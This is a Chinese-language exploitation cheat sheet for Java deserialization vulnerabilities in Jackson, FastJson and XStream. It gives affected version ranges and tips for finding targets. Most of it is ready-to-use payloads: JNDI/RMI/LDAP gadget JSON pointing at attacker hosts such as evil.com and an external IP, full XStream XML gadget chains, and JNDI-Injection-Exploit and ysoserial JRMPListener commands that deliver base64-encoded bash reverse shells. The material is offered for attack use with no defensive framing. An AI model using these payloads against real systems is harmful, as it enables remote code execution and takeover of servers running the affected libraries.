Jackson--FastJson--XStream--代码执行&&反序列化

Jackson代码执行 (CVE-2020-8840)

影响范围

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

不受影响版本

FasterXML jackson-databind = 2.8.11.5

FasterXML jackson-databind = 2.9.10.3

漏洞利用

POC：

String json = "["org.apache.xbean.propertyeditor.JndiConverter", {"asText":"ldap://localhost:1389/Exploit"}]";

Jackson代码执行 (CVE-2020-35728)

影响范围

FasterXML jackson-databind 2.x < 2.9.10.8

漏洞利用

POC

String payload = "["com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool",{"jndiPath":"rmi://47.94.236.117:1099/gtaafz"}]";

FastJson 反序列化漏洞

漏洞发现

白盒：直接查看项目中pom.xml中的组件版本即可

黑盒：抓包时发现哪些数据包发送了json数据，即可进行盲打

影响范围

FastJson <= 1.2.24

漏洞利用

payload

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://evil.com:9999/TouchFile",

        "autoCommit":true

    }

}

影响范围

FastJson <= 1.2.47

漏洞利用

payload

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://evil.com:9999/Exploit",

        "autoCommit":true

    }

}

影响范围

FastJson <= 1.2.80

漏洞利用

在利用该版本范围时，只能通过项目中所调用的模块和本身类文件来进行利用

fastjson_payload

Xstream 代码执行 (CVE-2021-21351)

影响范围

Xstream<=1.4.15

漏洞利用

使用JNDI注入工具生成反弹shell命令

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64反弹shell命令}|{base64,-d}|{bash,-i}" -A 攻击机地址

将xml类型payload替换使用JNDI工具生成的class文件地址发送至目标服务器接受解析

<sorted-set>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>ysomap</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>

      <m__DTMXRTreeFrag>

        <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>

          <m__size>-10086</m__size>

          <m__mgrDefault>

            <__overrideDefaultParser>false</__overrideDefaultParser>

            <m__incremental>false</m__incremental>

            <m__source__location>false</m__source__location>

            <m__dtms>

              <null/>

            </m__dtms>

            <m__defaultHandler/>

          </m__mgrDefault>

          <m__shouldStripWS>false</m__shouldStripWS>

          <m__indexing>false</m__indexing>

          <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>

            <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>

              <javax.sql.rowset.BaseRowSet>

                <default>

                  <concurrency>1008</concurrency>

                  <escapeProcessing>true</escapeProcessing>

                  <fetchDir>1000</fetchDir>

                  <fetchSize>0</fetchSize>

                  <isolation>2</isolation>

                  <maxFieldSize>0</maxFieldSize>

                  <maxRows>0</maxRows>

                  <queryTimeout>0</queryTimeout>

                  <readOnly>true</readOnly>

                  <rowSetType>1004</rowSetType>

                  <showDeleted>false</showDeleted>

                  <dataSource>rmi://evil-ip:1099/example</dataSource>

                  <listeners/>

                  <params/>

                </default>

              </javax.sql.rowset.BaseRowSet>

              <com.sun.rowset.JdbcRowSetImpl>

                <default/>

              </com.sun.rowset.JdbcRowSetImpl>

            </fPullParserConfig>

            <fConfigSetInput>

              <class>com.sun.rowset.JdbcRowSetImpl</class>

              <name>setAutoCommit</name>

              <parameter-types>

                <class>boolean</class>

              </parameter-types>

            </fConfigSetInput>

            <fConfigParse reference='../fConfigSetInput'/>

            <fParseInProgress>false</fParseInProgress>

          </m__incrementalSAXSource>

          <m__walker>

            <nextIsRaw>false</nextIsRaw>

          </m__walker>

          <m__endDocumentOccured>false</m__endDocumentOccured>

          <m__idAttributes/>

          <m__textPendingStart>-1</m__textPendingStart>

          <m__useSourceLocationProperty>false</m__useSourceLocationProperty>

          <m__pastFirstElement>false</m__pastFirstElement>

        </m__dtm>

        <m__dtmIdentity>1</m__dtmIdentity>

      </m__DTMXRTreeFrag>

      <m__dtmRoot>1</m__dtmRoot>

      <m__allowRelease>false</m__allowRelease>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

  <javax.naming.ldap.Rdn_-RdnEntry>

    <type>ysomap</type>

    <value class='com.sun.org.apache.xpath.internal.objects.XString'>

      <m__obj class='string'>test</m__obj>

    </value>

  </javax.naming.ldap.Rdn_-RdnEntry>

</sorted-set>

XStream 远程代码执行（CVE-2021-29505）

影响范围

XStream <= 1.4.16

漏洞利用

使用java反序列化工具使用JRMP模块开启JRMP监听

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1089 CommonsCollections6 "bash -c {echo,base64反弹shell}|{base64,-d}|{bash,-i}"

将JRMP监听地址替换xml型payload，抓包发送至目标服务器解析xml格式处

<java.util.PriorityQueue serialization='custom'>

    <unserializable-parents/>

    <java.util.PriorityQueue>

        <default>

            <size>2</size>

        </default>

        <int>3</int>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.org.apache.xpath.internal.objects.XString'>

                <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

        <javax.naming.ldap.Rdn_-RdnEntry>

            <type>12345</type>

            <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>

                <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>

                    <parsedMessage>true</parsedMessage>

                    <soapVersion>SOAP_11</soapVersion>

                    <bodyParts/>

                    <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>

                        <attachmentsInitialized>false</attachmentsInitialized>

                        <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>

                            <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>

                                <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>

                                    <names>

                                        <string>aa</string>

                                        <string>aa</string>

                                    </names>

                                    <ctx>

                                        <environment/>

                                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>

                                            <java.rmi.server.RemoteObject>

                                                <string>UnicastRef</string>

                                                <string>47.94.236.117</string>

                                                <int>1089</int>

                                                <long>0</long>

                                                <int>0</int>

                                                <long>0</long>

                                                <short>0</short>

                                                <boolean>false</boolean>

                                            </java.rmi.server.RemoteObject>

                                        </registry>

                                        <host>开启jrmp服务的主机ip</host>

                                        <port>jrmp端口</port>

                                    </ctx>

                                </candidates>

                            </aliases>

                        </nullIter>

                    </sm>

                </message>

            </value>

        </javax.naming.ldap.Rdn_-RdnEntry>

    </java.util.PriorityQueue>

</java.util.PriorityQueue>